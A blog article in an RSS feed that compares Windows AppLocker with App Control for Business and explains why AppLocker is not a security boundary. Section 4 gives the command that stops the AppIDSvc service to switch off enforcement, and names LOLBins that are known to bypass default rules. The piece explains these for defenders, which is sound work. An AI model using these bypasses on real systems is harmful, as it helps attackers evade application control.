<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: wdac</title><description>Posts tagged wdac.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:10 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/wdac/rss.xml" rel="self" type="application/rss+xml"/><item><title>AppLocker vs App Control for Business: Two Locks on the Same Door, and Why Windows Still Ships Both in 2026</title><link>https://paragmali.com/blog/applocker-vs-app-control-for-business-two-locks-on-the-same-/</link><guid isPermaLink="true">https://paragmali.com/blog/applocker-vs-app-control-for-business-two-locks-on-the-same-/</guid><description>Windows 11 24H2 ships two parallel application-control systems. One is operational hygiene; the other is the security boundary. The line between them is a single sentence in MSRC servicing criteria.</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>
Windows ships two application-control systems in parallel in 2026: **AppLocker**, a per-user policy evaluator that lives in the user-mode Application Identity service, and **App Control for Business** (still widely called WDAC), a kernel policy evaluator built into `ci.dll`. Microsoft itself states that AppLocker *&quot;doesn&apos;t meet the servicing criteria for being a security feature&quot;* while App Control was *designed* as one under the MSRC servicing criteria. That single sentence explains why both still ship. AppLocker handles per-user policy on devices that have no code-signing PKI. App Control, with a signed policy and HVCI on, is the only configuration that survives an admin-equivalent attacker. This article walks the architecture of each, the structural ceilings of both, the role of ISG and the Recommended Block Rules, and the five-question decision tree for picking between them in 2026.
&lt;h2&gt;1. Two Locks on the Same Door&lt;/h2&gt;
&lt;p&gt;Sit down on a Windows 11 24H2 device in 2026. Open &lt;code&gt;gpedit.msc&lt;/code&gt;. Navigate to Computer Configuration -&amp;gt; Windows Settings -&amp;gt; Security Settings, and you will find a node called &lt;strong&gt;AppLocker&lt;/strong&gt;, with five rule collections waiting to be populated. Now walk one branch over to Computer Configuration -&amp;gt; Administrative Templates -&amp;gt; System -&amp;gt; &lt;strong&gt;Device Guard&lt;/strong&gt;. That node, despite the obsolete name in the GPO tree, is where you author policy for what Microsoft now calls &lt;strong&gt;App Control for Business&lt;/strong&gt; [@ms-appcontrol-applocker-overview] -- the same kernel-enforced application-control engine that has been renamed twice since launch (Configurable Code Integrity in 2015, Windows Defender Application Control in 2017, App Control for Business in 2024) [@ms-blog-introducing-wdac-2017] but never replaced.&lt;/p&gt;
&lt;p&gt;Two completely separate policy nodes. Two completely separate deployment surfaces. Two completely separate enforcement architectures. Both shipping in the same SKU on the same device in 2026. Both documented as currently supported on Microsoft Learn [@ms-appcontrol-applocker-overview]. Which one is &quot;the right one&quot;? The honest answer turns out to be &lt;em&gt;neither, and both,&lt;/em&gt; and the reason is a single sentence on a single Microsoft Learn page that draws a line between &lt;em&gt;security feature&lt;/em&gt; and &lt;em&gt;operational hygiene control&lt;/em&gt; sharper than most practitioners realise.&lt;/p&gt;

A policy mechanism that decides, at process-launch or image-load time, whether a given binary, script, or installer is allowed to execute on a Windows device. An application-control policy is an enumerated set of allow rules (an allowlist), deny rules (a blocklist), or both. The decision is made by an OS-resident evaluator before the binary&apos;s main entry point runs.
&lt;p&gt;Microsoft&apos;s own &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; page makes the line explicit. AppLocker [@ms-appcontrol-applocker-overview], in Microsoft&apos;s own words, &lt;em&gt;&quot;helps to prevent end-users from running unapproved software on their computers but doesn&apos;t meet the servicing criteria for being a security feature.&quot;&lt;/em&gt; App Control for Business, in contrast, was &lt;em&gt;&quot;designed as a security feature under the servicing criteria, defined by the Microsoft Security Response Center&quot;&lt;/em&gt; [@ms-appcontrol-applocker-overview]. The &lt;a href=&quot;https://paragmali.com/blog/windows-security-boundaries-the-document-that-decides-what-g/&quot; rel=&quot;noopener&quot;&gt;MSRC servicing criteria&lt;/a&gt; are not marketing copy. They are the rule that decides whether a defect in a Windows feature gets a CVE [@msrc-servicing-criteria]. AppLocker bypasses do not get CVEs. App Control bypasses, with the right configuration, do.&lt;/p&gt;

flowchart LR
    Root[&quot;Computer Configuration&quot;]
    Sec[&quot;Windows Settings&quot;]
    Adm[&quot;Administrative Templates&quot;]
    SecSet[&quot;Security Settings&quot;]
    Sys[&quot;System&quot;]
    AL[&quot;AppLocker node&lt;br /&gt;(user-mode AppIDSvc)&quot;]
    DG[&quot;Device Guard node&lt;br /&gt;(kernel ci.dll / App Control for Business)&quot;]
    Root --&amp;gt; Sec
    Root --&amp;gt; Adm
    Sec --&amp;gt; SecSet
    SecSet --&amp;gt; AL
    Adm --&amp;gt; Sys
    Sys --&amp;gt; DG
&lt;p&gt;The rest of this article pays off that one sentence. The first half walks the architecture of each system at the level of &lt;em&gt;who evaluates what, where in the operating system, and against which attacker&lt;/em&gt;. The second half makes the practitioner decision tractable: which one to deploy in 2026, what to pair it with, and what no allowlist of any generation can do.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; AppLocker and App Control for Business are not two generations of the same product. They are two different products solving two different problems. AppLocker is an operational hygiene control whose enforcement Microsoft itself disclaims as a security boundary. App Control for Business, when its policy is signed by the deploying organisation and HVCI is on, &lt;strong&gt;is&lt;/strong&gt; the security boundary. Both still ship because neither is a strict superset of the other.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If both are shipping and both are recommended in different Microsoft Learn pages, what exactly does each one &lt;em&gt;do&lt;/em&gt;? And why is the line between them drawn in Microsoft&apos;s &lt;em&gt;servicing criteria&lt;/em&gt; rather than in its feature inventory? To answer that, we have to start before either product existed.&lt;/p&gt;
&lt;h2&gt;2. Pre-History -- Why an OS Needs Application Control at All&lt;/h2&gt;
&lt;p&gt;The 1999-2001 macro-virus and worm era -- &lt;em&gt;ILOVEYOU&lt;/em&gt; [@cert-ca-2000-04-iloveyou], &lt;em&gt;Code Red&lt;/em&gt; [@cert-ca-2001-19-codered], &lt;em&gt;Nimda&lt;/em&gt; [@cert-ca-2001-26-nimda] -- made it unsurvivable for Windows to trust any binary the user had &lt;code&gt;Execute&lt;/code&gt; permission on. The default behaviour of a Windows desktop in that era was: if the bits are on disk and the user can read them, they run. There was no per-binary policy gate. The OS-level answer Microsoft shipped in October 2001 was &lt;strong&gt;Software Restriction Policies&lt;/strong&gt;, an XP RTM feature documented at length the following year by John Lambert at Virus Bulletin 2002 [@vb2002-srp].&lt;/p&gt;

The user-mode Windows API (`WinSafer*`) that SRP used to evaluate a candidate executable against the configured rule set. The SAFER evaluator returned one of three security levels -- `Disallowed`, `Basic User`, or `Unrestricted` -- on each `CreateProcess`. The decision lived entirely in user mode, in the same address space as the loader, which is the architectural defect AppLocker partially inherited and App Control later corrected.
&lt;p&gt;SRP supported five rule conditions [@ms-applocker-what-is]: &lt;strong&gt;hash, certificate, path, Internet zone, and registry path&lt;/strong&gt;. Each condition tested a candidate file against an administrator-authored allow or deny rule, returning a SAFER security level that the user-mode evaluator honoured at &lt;code&gt;CreateProcess&lt;/code&gt;. The model was right: a per-machine GPO-administered policy evaluated against a defined file taxonomy.&lt;/p&gt;

The Microsoft code-signing format that binds a publisher identity (an X.509 certificate chain) to a PE binary via a cryptographic signature embedded in the binary&apos;s optional header. Authenticode is the *plumbing* every Windows application-control system uses to answer the question &quot;who published this binary?&quot; -- but it cannot answer &quot;what will this binary do once it runs?&quot;. Authenticode mechanics are out of scope here; the companion Authenticode article covers them in full.
&lt;p&gt;But SRP&apos;s &lt;em&gt;management surface&lt;/em&gt; was a series of footguns. There were no per-user rules. There was no audit-only mode -- you authored a rule and immediately enforced it. There was no PowerShell module; configuration was an MMC snap-in click path. And the Internet-Zone rule was structurally fragile: it depended on the &lt;code&gt;Zone.Identifier&lt;/code&gt; Alternate Data Stream, which exists only on NTFS and which any user can strip with &lt;code&gt;streams.exe -d&lt;/code&gt;.The &lt;code&gt;Zone.Identifier&lt;/code&gt; ADS is also silently stripped by FAT and exFAT copies, by many archive formats during extraction, and by any process that rewrites the file. SRP&apos;s zone rule was therefore reliable only against the most casual download paths -- exactly the threat model SRP claimed to address. The structural reason AppLocker dropped Internet Zone as a rule condition in 2009 starts here.&lt;/p&gt;
&lt;p&gt;SRP is genealogy, not subject matter, for the rest of this article. Microsoft never formally deprecated it, but practitioners abandoned it within a year of AppLocker&apos;s 2009 release, and Microsoft Learn now points anyone arriving at the SRP page toward AppLocker or App Control. The three operational defects -- no per-user, no audit, no PowerShell -- sketch the brief that the AppLocker team would inherit. What did Microsoft actually ship in 2009, and where did its designers draw the line between &lt;em&gt;manageability&lt;/em&gt; and &lt;em&gt;security&lt;/em&gt;?&lt;/p&gt;

flowchart TD
    SRP[&quot;2001 -- Software Restriction Policies&lt;br /&gt;(Windows XP RTM)&lt;br /&gt;user-mode SAFER API&quot;]
    AL[&quot;2009 -- AppLocker&lt;br /&gt;(Windows 7 / Server 2008 R2)&lt;br /&gt;user-mode AppIDSvc + AppID.sys minifilter&quot;]
    CCI[&quot;2015 -- Configurable Code Integrity&lt;br /&gt;(Windows 10 1507, under Device Guard umbrella)&lt;br /&gt;kernel ci.dll&quot;]
    WDAC[&quot;2017 -- Windows Defender Application Control&lt;br /&gt;(Windows 10 1709)&lt;br /&gt;same kernel ci.dll, new brand&quot;]
    ACfB[&quot;2024 -- App Control for Business&lt;br /&gt;(Windows 11 24H2 / Server 2025)&lt;br /&gt;same kernel ci.dll, third brand&quot;]
    Now[&quot;2026 -- both AppLocker and App Control for Business ship in the same SKU&quot;]
    SRP -- effectively orphaned --&amp;gt; AL
    AL -- peer mechanism added, not replaced --&amp;gt; CCI
    CCI -- renamed --&amp;gt; WDAC
    WDAC -- renamed --&amp;gt; ACfB
    AL -- still ships --&amp;gt; Now
    ACfB -- still ships --&amp;gt; Now
&lt;h2&gt;3. AppLocker (2009) -- The Architecture Microsoft Documents&lt;/h2&gt;
&lt;p&gt;October 22, 2009. AppLocker ships in Windows 7 Enterprise / Ultimate and in Windows Server 2008 R2 [@ms-lifecycle-windows7] [@ms-lifecycle-server-2008-r2]. What did Microsoft actually build, exactly as Microsoft Learn documents it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Five rule collections&lt;/strong&gt; [@ms-applocker-rules]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Executable&lt;/strong&gt; -- &lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DLL&lt;/strong&gt; -- &lt;code&gt;.dll&lt;/code&gt;, &lt;code&gt;.ocx&lt;/code&gt; (off by default; opt-in for performance reasons)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Script&lt;/strong&gt; -- &lt;code&gt;.ps1&lt;/code&gt;, &lt;code&gt;.vbs&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.cmd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Installer&lt;/strong&gt; -- &lt;code&gt;.msi&lt;/code&gt;, &lt;code&gt;.msp&lt;/code&gt;, &lt;code&gt;.mst&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packaged App&lt;/strong&gt; -- &lt;code&gt;.appx&lt;/code&gt;, &lt;code&gt;.msix&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The script collection&apos;s inclusion of &lt;code&gt;.bat&lt;/code&gt; and &lt;code&gt;.cmd&lt;/code&gt; is a coverage detail that survives into 2026 as one of the few capabilities AppLocker has and App Control does not [@ms-appcontrol-feature-availability]. Hold that thought; it returns in section 10.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Three rule conditions&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Publisher&lt;/strong&gt; -- the &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode&lt;/a&gt; subject name, product name, file name, and minimum file version. The load-bearing usability win over SRP: a single Publisher rule for &lt;em&gt;&quot;binaries signed by Microsoft Corporation with product &lt;code&gt;Office&lt;/code&gt;, version 16.0 or higher&quot;&lt;/em&gt; survives every patch the vendor ships.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path&lt;/strong&gt; -- with environment-variable and wildcard support (&lt;code&gt;%ProgramFiles%\Contoso\*.exe&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Hash&lt;/strong&gt; -- the SHA-256 of the binary. Stable but brittle; one update breaks the rule.&lt;/li&gt;
&lt;/ol&gt;

An AppLocker (or App Control) rule that allows or denies execution based on the Authenticode signer subject, the file&apos;s signed metadata (Original Filename, Product Name), and an optional minimum version. The publisher gate trusts the certificate authority&apos;s binding of signer name to private key; it does not evaluate what the signed code will do at runtime. The structural limit of any publisher-gate allowlist is that signed code can be made to load and execute attacker-controlled data -- this is what the Microsoft Recommended Block Rules in section 8 enumerate.
&lt;p&gt;AppLocker also added the three management capabilities SRP lacked: &lt;strong&gt;per-user / per-group rule assignment&lt;/strong&gt; via the AppLocker PowerShell module (&lt;code&gt;Get-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;Set-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;Test-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;New-AppLockerPolicy&lt;/code&gt;), &lt;strong&gt;audit-only mode&lt;/strong&gt; that logs would-be denials without enforcing them, and a real GPO editor experience under Security Settings. The per-user capability is still, in 2026, the operational reason AppLocker has not gone away [@ms-appcontrol-feature-availability]; we will return to that in section 11.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The architecture is the part most readers underestimate.&lt;/strong&gt; AppLocker is a &lt;em&gt;kernel-mode minifilter that asks a user-mode service for the verdict.&lt;/em&gt; Microsoft&apos;s &lt;em&gt;AppLocker Architecture and Components&lt;/em&gt; page documents the user-mode side at the service-and-callback level [@ms-applocker-architecture]: the &lt;em&gt;policy decision&lt;/em&gt; is deferred to the user-mode &lt;strong&gt;Application Identity service&lt;/strong&gt; (&lt;code&gt;AppIDSvc&lt;/code&gt;) running as &lt;code&gt;LocalService&lt;/code&gt;, which evaluates policy via &lt;code&gt;SeAccessCheckWithSecurityAttributes&lt;/code&gt; or &lt;code&gt;AuthzAccessCheck&lt;/code&gt; against the calling user&apos;s group memberships, with interception points at process create, DLL load, and script run. The kernel-side component is the &lt;code&gt;AppId.sys&lt;/code&gt; minifilter shipped in &lt;code&gt;%SystemRoot%\System32\drivers\&lt;/code&gt;; it issues the callbacks at process creation, optional DLL load, script-host invocation, MSI execution, and packaged-app activation, and the kernel honours the verdict the service returns.&lt;/p&gt;

The Windows service that evaluates AppLocker rules. Runs as `LocalService` under a service host process. The kernel minifilter `AppID.sys` collects the candidate file&apos;s metadata at the relevant lifecycle hook (process create, image load, script host start) and waits for `AppIDSvc` to return an access decision derived from the active AppLocker policy and the calling user&apos;s token. Stopping `AppIDSvc` stops AppLocker enforcement -- this is the architectural fact the next section turns on.

sequenceDiagram
    participant U as User
    participant K as Kernel (CreateProcess)
    participant Min as AppID.sys minifilter
    participant Svc as AppIDSvc (user mode)
    participant Pol as Active AppLocker policy
    U-&amp;gt;&amp;gt;K: CreateProcess foo.exe
    K-&amp;gt;&amp;gt;Min: process-create callback
    Min-&amp;gt;&amp;gt;Svc: query verdict for foo.exe and caller token
    Svc-&amp;gt;&amp;gt;Pol: AuthzAccessCheck against publisher / path / hash rules
    Pol--&amp;gt;&amp;gt;Svc: allow or deny
    Svc--&amp;gt;&amp;gt;Min: verdict
    Min--&amp;gt;&amp;gt;K: honour verdict
    K--&amp;gt;&amp;gt;U: process starts or STATUS_ACCESS_DENIED
&lt;p&gt;The five-by-three matrix below is the policy surface a practitioner authors against:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Collection / Condition&lt;/th&gt;
&lt;th&gt;Publisher&lt;/th&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;th&gt;File Hash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Executable (&lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.com&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DLL (&lt;code&gt;.dll&lt;/code&gt;, &lt;code&gt;.ocx&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Script (&lt;code&gt;.ps1&lt;/code&gt;, &lt;code&gt;.vbs&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.cmd&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows Installer (&lt;code&gt;.msi&lt;/code&gt;, &lt;code&gt;.msp&lt;/code&gt;, &lt;code&gt;.mst&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Packaged App (&lt;code&gt;.appx&lt;/code&gt;, &lt;code&gt;.msix&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes (publisher only)&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The DLL collection is off by default for a reason Microsoft Learn warns about plainly [@ms-applocker-rules]: &lt;em&gt;&quot;When DLL rules are used, AppLocker must check each DLL that an application loads. Therefore, users may experience a reduction in performance if DLL rules are used.&quot;&lt;/em&gt; That cost is paid for every load of every DLL by every running process; on a workstation that loads thousands of DLLs at boot it is observable in startup time. The Packaged App collection is publisher-only because the Universal Windows Platform packaging format always carries an Authenticode signature.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The most common misattribution in the AppLocker literature is the conflation of &lt;em&gt;AaronLocker&lt;/em&gt; with the AppLocker &lt;em&gt;bypass corpus&lt;/em&gt;. AaronLocker [@github-aaronlocker] is &lt;strong&gt;Aaron Margosis&apos;s deployment tool&lt;/strong&gt; -- a PowerShell-based generator that authors thorough audit and enforce policies. The canonical AppLocker &lt;em&gt;bypass&lt;/em&gt; catalogue is Oddvar Moe&apos;s &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne&apos;s &lt;code&gt;UltimateWDACBypassList&lt;/code&gt; [@github-ultimatewdacbypass]. Three different artefacts, three different authors, three different purposes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;AppLocker&apos;s design is admirable. It fixed every operational defect of SRP, it shipped per-user rules a decade before App Control&apos;s kernel evaluator caught up, and its PowerShell module is still the most ergonomic Windows application-control authoring surface in 2026. But notice one thing about that sequence diagram: the policy decision lives in a user-mode service. What happens to enforcement if the attacker is running as &lt;code&gt;SYSTEM&lt;/code&gt;?&lt;/p&gt;
&lt;h2&gt;4. AppLocker&apos;s Structural Limit -- Why It Was Never a Security Boundary&lt;/h2&gt;
&lt;p&gt;A single PowerShell line. &lt;code&gt;sc.exe stop AppIDSvc&lt;/code&gt; from a &lt;code&gt;LocalSystem&lt;/code&gt; context -- the canonical first-step bypass catalogued in &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass] and reproduced in Oddvar Moe&apos;s December 2017 case study [@oddvarmoe-applocker-case-study; @oddvarmoe-applocker-case-study-part2]. Enforcement degrades until the next reboot. Is that a &lt;em&gt;bug&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;It is not. It is the &lt;em&gt;design&lt;/em&gt;. And three converging pieces of evidence -- Microsoft&apos;s own words, the documented architecture, and the public bypass record -- agree on the scope.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Microsoft&apos;s own servicing-criteria language.&lt;/strong&gt; The &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; page says, verbatim [@ms-appcontrol-applocker-overview]: &lt;em&gt;&quot;AppLocker helps to prevent end-users from running unapproved software on their computers, but it doesn&apos;t meet the servicing criteria for being a security feature.&quot;&lt;/em&gt; The MSRC &lt;em&gt;Windows Security Servicing Criteria&lt;/em&gt; document [@msrc-servicing-criteria] is the rule the MSRC uses to decide whether a defect in a Windows feature qualifies for a CVE. Defects in a &lt;em&gt;security boundary&lt;/em&gt; receive CVEs and a coordinated patch. Defects in a &lt;em&gt;defense-in-depth&lt;/em&gt; feature may not -- they are documented and, when convenient, fixed, but Microsoft does not promise that every bypass will be treated as a vulnerability. AppLocker is the second category. App Control, when configured to qualify, is the first.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The user-mode &lt;code&gt;AppIDSvc&lt;/code&gt; architecture is the proximate reason.&lt;/strong&gt; Restate the section-3 diagram: the kernel minifilter &lt;code&gt;AppID.sys&lt;/code&gt; collects the file metadata, but the verdict is returned by &lt;code&gt;AppIDSvc&lt;/code&gt; running in user mode as &lt;code&gt;LocalService&lt;/code&gt;. Any process running as &lt;code&gt;LocalSystem&lt;/code&gt; or with administrator privilege can stop &lt;code&gt;AppIDSvc&lt;/code&gt;. Stopping the service does not just &lt;em&gt;bypass&lt;/em&gt; a rule; it removes the evaluator that the kernel was waiting for. The Microsoft Learn architecture page describes the evaluation surface explicitly [@ms-applocker-architecture]: &lt;em&gt;&quot;AppLocker policies are conditional access control entries (ACEs), and policies are evaluated by using the attribute-based access control SeAccessCheckWithSecurityAttributes or AuthzAccessCheck functions.&quot;&lt;/em&gt; &lt;code&gt;AuthzAccessCheck&lt;/code&gt; is a user-mode Authz API; the evaluation chain ends in a process that an admin can stop.&lt;/p&gt;

The MSRC servicing criteria classify Windows features into *security boundaries* (a violation produces a CVE, fixes are released on Patch Tuesday or out-of-band), *security features* designed against a defined threat model (violations may or may not get CVEs depending on the threat model), and *defense-in-depth* measures (no servicing commitment beyond best effort). AppLocker is explicitly placed in the third class on the *App Control and AppLocker Overview* page [@ms-appcontrol-applocker-overview]. App Control with a signed policy and HVCI on is treated as a security feature whose threat model includes an admin-equivalent attacker -- and that is the precise condition under which an App Control bypass is treated as a CVE-class defect.
&lt;p&gt;&lt;strong&gt;3. The published bypass corpora.&lt;/strong&gt; Oddvar Moe&apos;s &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass] catalogues &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, and a long list of others, each documented to bypass the &lt;em&gt;default&lt;/em&gt; AppLocker rule set without administrator privileges. Moe&apos;s December 2017 case study [@oddvarmoe-applocker-case-study] paired a defined test environment (Windows 10 1703 Enterprise with the default AppLocker rules applied and no third-party software) against a defined adversary capability (an unprivileged interactive user) and demonstrated fourteen distinct bypass techniques. That made &lt;em&gt;&quot;AppLocker is bypassable in practice without admin&quot;&lt;/em&gt; an empirical claim, not a theoretical one.&lt;/p&gt;
&lt;p&gt;And -- this is the part that closes the argument -- the &lt;strong&gt;Microsoft-org-hosted AaronLocker README&lt;/strong&gt; [@github-aaronlocker] states the same scope plainly: &lt;em&gt;&quot;AaronLocker does not try to stop administrative users from running anything they want -- and application control solutions cannot meaningfully restrict administrative actions anyway. A determined user with administrative rights can bypass any application control solution.&quot;&lt;/em&gt; The bypass community and the Microsoft-employee-maintained deployment baseline agree.&lt;/p&gt;
&lt;p&gt;This is the article&apos;s first reorientation. The convergence of the Microsoft servicing-criteria language, the kernel-defers-to-user-mode architecture, and the published bypass record is not three independent observations; it is one observation viewed from three angles. AppLocker is a hygiene control. The bypassability against an admin-equivalent attacker is a &lt;em&gt;scope statement&lt;/em&gt;, not a defect. The misconception that AppLocker was ever supposed to defend against an attacker with &lt;code&gt;SYSTEM&lt;/code&gt; lives in the reader, not in the product.&lt;/p&gt;
&lt;p&gt;The three pieces of evidence, tabulated:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Evidence&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;What it establishes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MSRC servicing-criteria language&lt;/td&gt;
&lt;td&gt;Microsoft Learn &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; [@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;td&gt;AppLocker is not a security feature under MSRC criteria&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User-mode &lt;code&gt;AppIDSvc&lt;/code&gt; architecture&lt;/td&gt;
&lt;td&gt;Microsoft Learn &lt;em&gt;AppLocker Architecture and Components&lt;/em&gt; [@ms-applocker-architecture]&lt;/td&gt;
&lt;td&gt;A &lt;code&gt;LocalSystem&lt;/code&gt; or admin attacker can stop the evaluator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public bypass corpora&lt;/td&gt;
&lt;td&gt;Oddvar Moe &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass]; Moe 2017 case study [@oddvarmoe-applocker-case-study]&lt;/td&gt;
&lt;td&gt;Demonstrated bypasses without admin against default rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-org-hosted deployment baseline&lt;/td&gt;
&lt;td&gt;AaronLocker README, Aaron Margosis [@github-aaronlocker]&lt;/td&gt;
&lt;td&gt;Microsoft-employee-maintained tool states the scope identically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;{`
// Pseudocode walk of what happens when an admin or LocalSystem process
// stops AppIDSvc. The actual demonstration requires admin on a Windows
// host; this is the logic the kernel minifilter follows.&lt;/p&gt;
&lt;p&gt;function onProcessCreate(candidateExe, callerToken) {
  const svc = queryService(&apos;AppIDSvc&apos;);
  if (svc.state !== &apos;Running&apos;) {
    // No evaluator. The minifilter cannot block on the verdict
    // because the verdict source is gone. Enforcement degrades.
    return ALLOW;
  }
  const verdict = svc.evaluate(candidateExe, callerToken);
  return verdict; // honoured by the kernel as ALLOW or DENY
}&lt;/p&gt;
&lt;p&gt;// After: sc.exe stop AppIDSvc  (requires admin / SYSTEM)
//   queryService(&apos;AppIDSvc&apos;).state === &apos;Stopped&apos;
//   onProcessCreate(...) returns ALLOW for every candidate
//   until AppIDSvc restarts (typically next reboot)
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; AppLocker prevents non-admin end users from running unapproved software. That is the entire mission statement, and Microsoft says it directly. It is not a &lt;em&gt;weakness&lt;/em&gt; of AppLocker that an attacker with administrative rights can bypass it; that is &lt;em&gt;outside the threat model the product was designed against&lt;/em&gt;. The right question to ask of AppLocker is not &quot;is it secure?&quot; but &quot;is the threat model it addresses the threat model I need to address?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If AppLocker cannot defend against an admin-equivalent attacker &lt;em&gt;by design&lt;/em&gt;, and that became obvious inside Microsoft by the early 2010s, the question is no longer &quot;why is AppLocker not enough?&quot; It is: &lt;em&gt;what would a Windows application-control system designed against an admin-equivalent attacker actually look like?&lt;/em&gt; Microsoft answered that question with Windows 10.&lt;/p&gt;
&lt;h2&gt;5. The Generational Pivot -- Configurable Code Integrity, WDAC, App Control for Business&lt;/h2&gt;
&lt;p&gt;With Windows 10, Microsoft introduces Device Guard. The framing in the official October 2017 retrospective is unusually candid for a Microsoft product communication: &lt;em&gt;&quot;With Windows 10 we introduced Windows Defender Device Guard&quot;&lt;/em&gt; -- and the new mechanism&apos;s &lt;em&gt;value proposition&lt;/em&gt;, the retrospective explains, is that its enforcement does not depend on a user-mode service an administrator can turn off [@ms-blog-introducing-wdac-2017]. Where AppLocker&apos;s &lt;code&gt;AppIDSvc&lt;/code&gt; evaluator can be stopped from a &lt;code&gt;LocalSystem&lt;/code&gt; shell, the new mechanism&apos;s evaluator lives in the kernel and validates its policy file cryptographically. Microsoft was not hiding what changed. Microsoft was announcing what changed.&lt;/p&gt;
